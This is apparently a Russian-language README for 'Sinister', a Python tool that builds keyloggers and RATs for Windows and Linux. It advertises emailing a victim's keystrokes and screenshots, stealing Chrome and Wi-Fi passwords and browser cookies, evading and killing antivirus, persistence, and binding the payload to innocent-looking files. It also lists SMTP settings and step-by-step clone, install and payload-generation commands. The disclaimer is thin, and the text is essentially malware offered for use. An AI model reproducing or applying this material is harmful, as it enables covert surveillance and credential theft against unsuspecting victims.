Sinister

                    Этот небольшой скрипт на Python может творить действительно потрясающие вещи.

Sinister — это генератор кейлоггеров для Windows/Linux, который отправляет нажатия клавиш и скриншоты по электронной почте, а также другую ценную информацию о цели, написанный на Python 3.

Отказ от ответственности

:computer: Этот проект создан исключительно в благих целях и для личного использования.

ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ВЫ ИСПОЛЬЗУЕТЕ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ НА СВОЙ СОБСТВЕННЫЙ РИСК. ИСПОЛЬЗОВАНИЕ ЯВЛЯЕТСЯ ПОЛНОЙ ОТВЕТСТВЕННОСТЬЮ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ. РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЕННЫЙ ДАННОЙ ПРОГРАММОЙ.

Возможности

• Работает на Windows/Linux
• Уведомление о новой жертве по электронной почте
• Необнаруживаемость
• Постоянство (Persistence)
• Проверка учётных данных электронной почты перед генерацией полезной нагрузки.
• Возможность получать журналы нажатий клавиш в любом почтовом провайдере, таком как GMAIL, YAHOO, OUTLOOK, Custom SMTP.

• SMTP-сервер / Порт

Имя сервера	SMTP-сервер	SMTP-порт
GMAIL	smtp.gmail.com	587
OUTLOOK	smtp-mail.outlook.com	587
YAHOO	smtp.mail.yahoo.com	587

• Отправка скриншота экрана ПК жертвы по электронной почте
• Создание исполняемого двоичного файла с нулевыми зависимостями
• Создание полезной нагрузки малого размера (~5 МБ) с расширенной функциональностью
• Обфускация полезной нагрузки перед генерацией, что позволяет обходить некоторые антивирусы
• Сгенерированная полезная нагрузка кодируется в base64, что делает обратную разработку чрезвычайно сложной
• Функция уничтожения антивируса на ПК жертвы и попытка отключить систему безопасности
• Отличный цветной интерфейс для генерации полезной нагрузки
• На стороне атакующего: при создании полезной нагрузки скрипт автоматически обнаруживает отсутствующие зависимости и устанавливает их
• Различие данных журнала на основе имени активного окна (См. изображение для лучшего понимания)
• Возможность добавления собственной иконки к вредоносному файлу
• Встроенный байндер (Binder), который может привязать кейлоггер к любому файлу [.pdf, .txt, .exe и т.д.], запуская легитимный файл на переднем плане, а вредоносный код — в фоновом режиме как служба.
• Проверка на уже запущенный экземпляр в системе. Если запущенный экземпляр найден, выполняется только легитимный файл [Запрет нескольких экземпляров для предотвращения получения дублирующихся почтовых журналов].
• Атакующий может создать/скомпилировать как для Windows/Linux OS с использованием Linux, но может создать/скомпилировать только исполняемый файл Windows с использованием Windows
• Извлекает сохранённые пароли из системы жертвы и отправляет их атакующему.

Встроенный стилер может украсть следующее:
Браузер Chrome (сохранённые пароли)
WiFi (сохранённые пароли)
Файлы cookie Chrome (данные для входа, куки, история)
Файлы cookie Firefox (cookies.sqlite)

Примечание: Стилер написан с нуля, не полагается на LaZagne

• Сбор и отправка полезной информации об устройстве жертвы

Собирается и отправляется:
Операционная система
Имя компьютера
Имя пользователя
Публичный IPv4-адрес

• Если ваша полезная нагрузка не выполняется, укажите --debug для запуска exe на переднем плане с CMD

Важно

30 мая 2022 года Google удалил функцию «менее безопасных приложений», поэтому вместо пароля Gmail:

• Включите двухфакторную аутентификацию (2FA) на вашем аккаунте атакующего Gmail
• Создайте пароль приложения
• Используйте этот пароль приложения при создании полезной нагрузки.
• Как создать пароль приложения: Нажмите здесь

Протестировано на

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Предварительные требования

• Python 3.X
• Несколько внешних модулей

Использование в Linux

# Перейдите в каталог /opt (необязательно)
$ cd /opt/

# Клонируйте этот репозиторий
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Перейдите в папку Sinister
$ cd Sinister

# Установка зависимостей
$ bash installer_linux.sh

*** Примечание: Когда появится диалоговое окно установщика Python при выполнении installer_linux.sh ***
    * Нажмите custom install 
    * Выберите Путь: C:/Python37-32
    ### Таким образом, Python будет установлен по этому пути (внутри Wine): ~/.wine/drive_c/Python37-32

# Если вы получаете ошибки при выполнении installer_linux.sh, попробуйте установить с помощью installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Создание полезной нагрузки/RAT
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Создание полезной нагрузки с использованием SMTP-сервера GMAIL, конфигурации порта (SMTP-сервер по умолчанию = smtp.gmail.com, SMTP-порт по умолчанию = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Создание полезной нагрузки с использованием SMTP-сервера OUTLOOK, конфигурации порта
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# Создание полезной нагрузки с использованием SMTP-сервера YAHOO, конфигурации порта
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

Примечание: Вы также можете использовать наши пользовательские иконки из папки icon, просто используйте их так: --icon icon/pdf.ico

Использование в Windows

# Установка зависимостей 
$ Установите последнюю версию python 3.x

# Клонируйте этот репозиторий
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Перейдите в репозиторий
$ cd Sinister